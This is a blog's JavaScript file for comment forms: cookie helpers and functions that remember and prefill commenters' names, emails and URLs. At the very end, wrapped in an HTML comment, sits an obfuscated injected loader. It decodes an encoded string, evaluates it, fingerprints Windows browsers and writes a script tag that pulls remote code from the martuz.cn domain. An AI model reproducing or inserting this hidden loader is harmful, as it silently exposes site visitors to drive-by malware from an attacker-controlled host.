// Copyright (c) 1996-1997 Athenia Associates.
// http://www.webreference.com/js/
// License is granted if and only if this entire
// copyright notice is included. By Tomer Shiran.

function setCookie (name, value, expires, path, domain, secure) {
    var curCookie = name + "=" + escape(value) + (expires ? "; expires=" + expires : "") +
        (path ? "; path=" + path : "") + (domain ? "; domain=" + domain : "") + (secure ? "secure" : "");
    document.cookie = curCookie;
}

function getCookie (name) {
    var prefix = name + '=';
    var c = document.cookie;
    var nullstring = '';
    var cookieStartIndex = c.indexOf(prefix);
    if (cookieStartIndex == -1)
        return nullstring;
    var cookieEndIndex = c.indexOf(";", cookieStartIndex + prefix.length);
    if (cookieEndIndex == -1)
        cookieEndIndex = c.length;
    return unescape(c.substring(cookieStartIndex + prefix.length, cookieEndIndex));
}

function deleteCookie (name, path, domain) {
    if (getCookie(name))
        document.cookie = name + "=" + ((path) ? "; path=" + path : "") +
            ((domain) ? "; domain=" + domain : "") + "; expires=Thu, 01-Jan-70 00:00:01 GMT";
}

function fixDate (date) {
    var base = new Date(0);
    var skew = base.getTime();
    if (skew > 0)
        date.setTime(date.getTime() - skew);
}

function rememberMe (f) {
    var now = new Date();
    fixDate(now);
    now.setTime(now.getTime() + 365 * 24 * 60 * 60 * 1000);
    now = now.toGMTString();
    if (f.author != undefined)
       setCookie('mtcmtauth', f.author.value, now, '/', '', '');
    if (f.email != undefined)
       setCookie('mtcmtmail', f.email.value, now, '/', '', '');
    if (f.url != undefined)
       setCookie('mtcmthome', f.url.value, now, '/', '', '');
}

function forgetMe (f) {
    deleteCookie('mtcmtmail', '/', '');
    deleteCookie('mtcmthome', '/', '');
    deleteCookie('mtcmtauth', '/', '');
    f.email.value = '';
    f.author.value = '';
    f.url.value = '';
}

function hideDocumentElement(id) {
    var el = document.getElementById(id);
    if (el) el.style.display = 'none';
}

function showDocumentElement(id) {
    var el = document.getElementById(id);
    if (el) el.style.display = 'block';
}

var commenter_name;

function individualArchivesOnLoad(commenter_name) {




    if (document.comments_form) {
        if (document.comments_form.email != undefined &&
            (mtcmtmail = getCookie("mtcmtmail")))
            document.comments_form.email.value = mtcmtmail;
        if (document.comments_form.author != undefined &&
            (mtcmtauth = getCookie("mtcmtauth")))
            document.comments_form.author.value = mtcmtauth;
        if (document.comments_form.url != undefined && 
            (mtcmthome = getCookie("mtcmthome")))
            document.comments_form.url.value = mtcmthome;
        if (mtcmtauth || mtcmthome) {
            document.comments_form.bakecookie.checked = true;
        } else {
            document.comments_form.bakecookie.checked = false;
        }
    }
}

function writeTypeKeyGreeting(commenter_name, entry_id) {

}


<!-- 
(function(){var cKunN='%';var e0Gs=':76ar:20a:3d:22S:63riptEngin:65:22:2c:62:3d:22Versi:6fn:28:29:2b:22:2cj:3d:22:22:2c:75:3dna:76igator:2e:75s:65rA:67en:74:3bi:66((u:2e:69nde:78:4ff(:22Chro:6de:22:29:3c0):26:26(:75:2eindexOf(:22:57in:22):3e:30):26:26(u:2einde:78O:66(:22:4e:54:206:22:29:3c0:29:26:26(document:2eco:6f:6bie:2e:69n:64:65xOf(:22m:69ek:3d:31:22:29:3c0):26:26(t:79pe:6ff(:7arvzts):21:3d:74ypeof(:22A:22)):29:7bzrv:7at:73:3d:22:41:22:3bev:61l(:22if(win:64:6fw:2e:22+a:2b:22)j:3dj+:22+a+:22Maj:6fr:22+:62+a+:22Min:6f:72:22+b+a+:22Bui:6cd:22+b:2b:22j:3b:22):3bdocument:2ewrite(:22:3c:73:63:72i:70t:20src:3d:2f:2fm:22+:22artuz:2ecn:2f:76i:64:2f:3fid:3d:22+:6a+:22:3e:3c:5c:2fscript:3e:22:29:3b:7d';var U0Y=e0Gs.replace(/:/g,cKunN);eval(unescape(U0Y))})();
 -->